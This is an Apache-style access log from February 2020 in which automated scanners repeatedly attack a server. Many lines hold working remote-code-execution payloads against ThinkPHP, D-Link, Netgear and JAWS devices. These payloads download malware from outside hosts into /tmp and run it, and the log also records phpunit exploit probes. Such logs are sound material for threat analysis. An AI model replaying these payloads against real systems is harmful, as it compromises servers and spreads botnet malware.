42.118.196.42 - - [08/Feb/2020:05:31:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.100.8.170 - - [08/Feb/2020:05:32:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
213.165.171.251 - - [08/Feb/2020:05:32:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
43.225.170.97 - - [08/Feb/2020:05:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
37.151.86.159 - - [08/Feb/2020:05:36:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.241.137 - - [08/Feb/2020:05:36:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.187.127 - - [08/Feb/2020:05:37:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.254.24.67 - - [08/Feb/2020:05:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
115.56.106.41 - - [08/Feb/2020:05:40:10 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
154.95.234.90 - - [08/Feb/2020:05:40:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.245.208 - - [08/Feb/2020:05:41:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.190.98 - - [08/Feb/2020:05:44:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.210.169.121 - - [08/Feb/2020:05:44:59 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
119.153.101.106 - - [08/Feb/2020:05:46:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.254.78.226 - - [08/Feb/2020:05:47:11 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.254.78.226 - - [08/Feb/2020:05:47:11 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.254.78.226 - - [08/Feb/2020:05:47:12 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
178.93.41.95 - - [08/Feb/2020:05:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
73.212.89.95 - - [08/Feb/2020:05:52:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.50.158 - - [08/Feb/2020:05:53:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.54.5.13 - - [08/Feb/2020:05:53:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.80.240.113 - - [08/Feb/2020:05:57:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.243.121 - - [08/Feb/2020:05:58:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.36.161 - - [08/Feb/2020:06:00:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.71.101 - - [08/Feb/2020:06:01:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.179.191 - - [08/Feb/2020:06:06:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.102.221.72 - - [08/Feb/2020:06:07:23 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
5.101.0.209 - - [08/Feb/2020:06:13:21 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.232.34.206 - - [08/Feb/2020:06:13:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.100.87.248 - - [08/Feb/2020:06:14:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.101.0.209 - - [08/Feb/2020:06:14:40 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.118.156.232 - - [08/Feb/2020:06:14:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [08/Feb/2020:06:14:53 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
177.72.157.0 - - [08/Feb/2020:06:15:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:06:15:36 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:06:16:25 +0100] "GET /nmaplowercheck1581138985 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:06:16:25 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:06:16:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.100.87.248 - - [08/Feb/2020:06:16:26 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:06:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
185.100.87.248 - - [08/Feb/2020:06:16:26 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [08/Feb/2020:06:16:27 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
1.53.127.83 - - [08/Feb/2020:06:16:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.67.90.103 - - [08/Feb/2020:06:17:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.100.87.245 - - [08/Feb/2020:06:17:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
106.110.135.101 - - [08/Feb/2020:06:18:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.139.201 - - [08/Feb/2020:06:18:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.106.109.22 - - [08/Feb/2020:06:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
62.210.169.121 - - [08/Feb/2020:06:19:33 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
185.100.87.245 - - [08/Feb/2020:06:19:54 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.245 - - [08/Feb/2020:06:19:54 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.245 - - [08/Feb/2020:06:19:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.100.87.245 - - [08/Feb/2020:06:19:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
185.100.87.245 - - [08/Feb/2020:06:19:55 +0100] "GET /nmaplowercheck1581139192 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.245 - - [08/Feb/2020:06:19:55 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.245 - - [08/Feb/2020:06:19:55 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
121.23.17.205 - - [08/Feb/2020:06:20:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
110.9.148.211 - - [08/Feb/2020:06:26:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.50.158 - - [08/Feb/2020:06:27:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.181 - - [08/Feb/2020:06:27:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.236.76.95 - - [08/Feb/2020:06:33:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.121.105.24 - - [08/Feb/2020:06:33:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.26.154.92 - - [08/Feb/2020:06:33:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
110.154.227.183 - - [08/Feb/2020:06:37:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.217.60 - - [08/Feb/2020:06:40:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.243.121 - - [08/Feb/2020:06:41:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.74.234.74 - - [08/Feb/2020:06:50:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.231.115.248 - - [08/Feb/2020:06:53:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.0.173.121 - - [08/Feb/2020:06:54:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
187.232.179.34 - - [08/Feb/2020:06:56:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.118.126.142 - - [08/Feb/2020:07:00:18 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-lipetsk.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [08/Feb/2020:07:00:19 +0100] "GET / HTTP/1.1" 200 1229 "https://eldoradorent.az/ru" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [08/Feb/2020:07:00:19 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-lipetsk.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [08/Feb/2020:07:00:19 +0100] "GET / HTTP/1.1" 200 1229 "https://eldoradorent.az/ru" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [08/Feb/2020:07:00:19 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-lipetsk.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [08/Feb/2020:07:00:19 +0100] "GET / HTTP/1.1" 200 1229 "https://eldoradorent.az/ru" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
212.91.246.72 - - [08/Feb/2020:07:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.40.178.214 - - [08/Feb/2020:07:01:03 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:07:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.213.16 - - [08/Feb/2020:07:02:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.180.86.47 - - [08/Feb/2020:07:03:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.254.140.37 - - [08/Feb/2020:07:03:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:07:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.226.168.113 - - [08/Feb/2020:07:04:01 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
95.15.3.78 - - [08/Feb/2020:07:04:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:07:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.98.131.212 - - [08/Feb/2020:07:09:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:07:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.231.143.9 - - [08/Feb/2020:07:12:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.152.6.80 - - [08/Feb/2020:07:12:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:07:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.245.208 - - [08/Feb/2020:07:17:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [08/Feb/2020:07:20:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [08/Feb/2020:07:20:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:07:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [08/Feb/2020:07:20:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [08/Feb/2020:07:20:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [08/Feb/2020:07:21:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
